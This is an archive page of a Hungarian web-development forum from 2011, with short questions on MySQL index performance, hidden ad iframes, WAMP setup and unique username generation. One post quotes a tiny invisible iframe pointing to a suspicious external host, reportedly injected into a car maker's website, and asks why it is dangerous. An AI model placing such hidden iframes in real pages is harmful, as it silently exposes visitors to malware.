ugrás a tartalomhoz

Archívum - 2011

augusztus 30

MySQL lassú indexek

Drawain · 2011. Aug. 30. (K), 13.24
Sziasztok!

Egy elég érdekes problémába ütköztem, amit nem igazán tudok hova tenni - valószínű az indexekkel kapcsolatban vannak tudásbeli hiányosságaim. Eleddig azt hittem, hogy a mysql (myisam tábla) indexelt mezői a create, update és delete query-k esetén lassítanak, a select-eknél pedig gyorsítanak. Nálam egy esetben azonban az ellenkezője történt.

Adottak egy webáruház dinamikus adattagjaihoz (EAV) tartozó táblák (termékek tábla, attribútumok tábla, termékek-attribútumok kapcsolótábla). Ha az egyes termékeket azok sajátos attribútumai alapján szeretném szűrni egyetlen lekérdezésben, akkor az összes (a szűrésben részt vevő) tulajdonságot join-al hozzákötöm a termékek lekérdezéséhez. Ezzel nincs is semmi gond (attól eltekintve, hogy gigantikus query-ket lehet elérni már 10-20 ilyen szűrési feltétel esetén is), azonban a lekérdezés néha borzasztóan lelassult (1-10mp-es lekérdezések is születtek, amik vállalhatatlanok). Az egyéni attribútumokat tartalmazó táblában (idegen kulcs híján) az összes termék azonosítót indexeltem, gondoltam így gyorsabban találja meg a join-nál az egyes sorokat az adatbázis - azonban - mint az később kiderült - ezek az indexek okozták a lassú lekérdezéseket. Az indexek megszüntetésével a korábbi több mp-es query-k 0.01sec alá gyorsultak.

Ezt el tudná nekem valaki magyarázni, hogyan is történhetett? Milyen mezőket érdemes indexként használni?

Az teszt-adatbázisban jelenleg kevés adat található.

Köszönettel,
Drawain
 

augusztus 29

URL kimenete adatbázis olvasás nélkül változzon

Totti 1986 · 2011. Aug. 29. (H), 17.58
Sziasztok!

Remélem érthetően le tudom írni, mit szeretnék.
Szóval van egy url, valami.php?valtozo=akarmi felépítésben, és azt szeretném, ha megváltoztathatnám, hogy mit jelenítsen meg ez az url, úgy hogy az "akarmi" értéke nem változik, és anélkül, hogy adatbázisból olvasnék.

Vagyis valahogy én meghatározom, hogy ez az url mit jelenítsen meg, és egy másik ember, ha lekéri ezt az url-t ugyanezzel az "akarmi" értékkel, azt kapja, amit én megadtam. De aztán ő is megváltoztathatja, és akkor én fogom azt kapni, amit ő meghatározott.
 

Iframe hírdetés elrejtésének tíltása

kow86 · 2011. Aug. 29. (H), 16.19
Hy mindenki!

Nekem egy olyan kérdésem lenne, hogy készülőben van egy ingyenes webtárhely ahol nem lesz reklámcsík mint pl az atw-nél van, hanem a usereknek egy iframe-et kell elhelyezniük az oldalon, na most felmerült egy olyan probléma hogy ha kiteszi az oldalára a hirdetést de úgy hogy ezt beleteszi egy div -be amit elrejt pl:
<div style="display:none"><iframe src="valami.hu/ads.php?kod=XY-123" width="200" height="400"></iframe></div> ,akkor én az admin felületen úgy látom hogy meghívódot a php script de valójában nem jelennek meg a hirdetések mert elvannak rejtve. Ennek kivédésére kérnék segítséget, ötleteket.


Előre is köszönöm.
 

mitől vírus....

Lomtár · 2011. Aug. 29. (H), 15.07
Hali!

Ez a kód sor miért annyira veszélyes(Audi quattro weboldalán van)
<iframe src="http://ixoqyxuvu.co.tv/i.php?go=1" width="3" height="3"></iframe>
 

Aktivációs kód küldése

bugSy · 2011. Aug. 29. (H), 09.43
Üdvözlet!

Olyan problémám lenne, hogy a webspelles honlapot használok, és regisztrációnál nem küld ki aktiválós email-t, hanem nekem kell aktiválnom a regisztrációt.

Katalógus: előszűrés

demo · 2011. Aug. 29. (H), 07.02
Sziasztok!

Ötleteket keresek a következő feladat optimális megvalósításához. Egy katalógus termékeinek listázása előtt a kereső feltételinek változtatásával kiírni a feltételeknek megfelelő találatok darabszámát.

Egyszerűen csak futtassam le kétszer az sql-t?
Vagy mentsek minden egyes keresési kombinációt eredményét és abból kérjem a találatok darabszámát? Új termék felvitelénél újra el kéne végezzem.

Az is probléma, hogy naponta változhatnak a termékek.

Kösz.
 

augusztus 28

Writing CSS For Others

Joó Ádám · 2011. Aug. 28. (V), 16.45
Tanácsok a stíluslapok szervezéséhez
 

augusztus 28

A WAMP és a 64 bites Windows 7

tisch.david · 2011. Aug. 27. (Szo), 22.34

Újonnan vásárolt notebookomon 64 bites Windows 7 Professional virít. Erre voltam kénytelen a napokban WAMP-ot telepíteni PHP fejlesztéshez, ami nem is ment olyan könnyen. A tanulságokat megosztanám, hátha néhány nap munkát megspórolok vele valakinek.

The Internet is for Porn

Hidvégi Gábor · 2011. Aug. 27. (Szo), 22.24
Már laikusok is szembesülnek a web technológiai korlátaival
 

Véletlen szerű kreáció...

NosnOsnoS · 2011. Aug. 27. (Szo), 15.34
Halló!
Mivel lehet úgy kreálni felhasználó nevet,hogy sosem ismétli magát.Tehát ha már Kis Pista véletlenül ráment az oldalra és a gép kidobja neki azt hogy Q0wC32GW9ÁűX19ú akkor ezt már nem dobja ki senkinek sem.
Karakterek 0-9ig számok (csak 1 betűs)a-z (csak 1 betűs)A-Z és csak 15 karakter.